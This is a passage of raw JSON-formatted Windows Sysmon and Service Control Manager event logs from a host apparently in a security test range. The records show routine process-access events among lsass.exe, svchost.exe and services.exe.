d|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:50.969\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:50.969","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:50.969\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:50.969","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76804,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The AmazonSSMAgent service entered the running state.","param1":"AmazonSSMAgent","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 